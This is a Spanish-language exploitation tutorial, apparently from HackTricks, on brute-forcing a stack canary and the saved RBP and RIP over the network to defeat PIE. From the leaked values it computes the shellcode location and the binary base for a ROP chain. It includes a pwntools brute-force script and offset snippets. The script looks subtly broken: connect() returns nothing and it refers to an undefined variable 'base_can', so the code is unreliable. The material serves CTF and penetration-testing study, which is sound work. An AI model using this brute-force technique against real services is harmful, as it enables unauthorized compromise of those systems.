# BF Addresses in the Stack {{#include ../../../banners/hacktricks-training.md}} **Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.** ![](<../../../images/image (865).png>) > [!NOTE] > Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canary si este fue compilado estáticamente y no es capaz de identificar la función.\ > Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir. ## Brute-Force Addresses Para **eludir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es **fuerza bruta el RBP y RIP guardados en la pila** en la función vulnerable.\ Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar bruta el canary, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado. > [!TIP] > Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso. Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La **misma función** que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP: ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base # CANARY BF HERE canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary # PIE BF FROM HERE print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**. Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP: ```python INI_SHELLCODE = RBP - 1152 ``` Desde el **RIP** puedes calcular la **dirección base del binario PIE**, que es lo que necesitarás para crear una **cadena ROP válida**.\ Para calcular la dirección base, simplemente haz `objdump -d vunbinary` y verifica las últimas direcciones desensambladas: ![](<../../../images/image (479).png>) En ese ejemplo, puedes ver que solo se **necesitan 1 Byte y medio** para localizar todo el código, entonces, la dirección base en esta situación será el **RIP filtrado pero terminando en "000"**. Por ejemplo, si filtraste `0x562002970ecf`, la dirección base es `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` ## Mejoras Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensará que obtuvo los correctos. Esto se debe a que **algunas direcciones simplemente no lo romperán incluso si no son exactamente las correctas**. Según esa publicación del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor. {{#include ../../../banners/hacktricks-training.md}}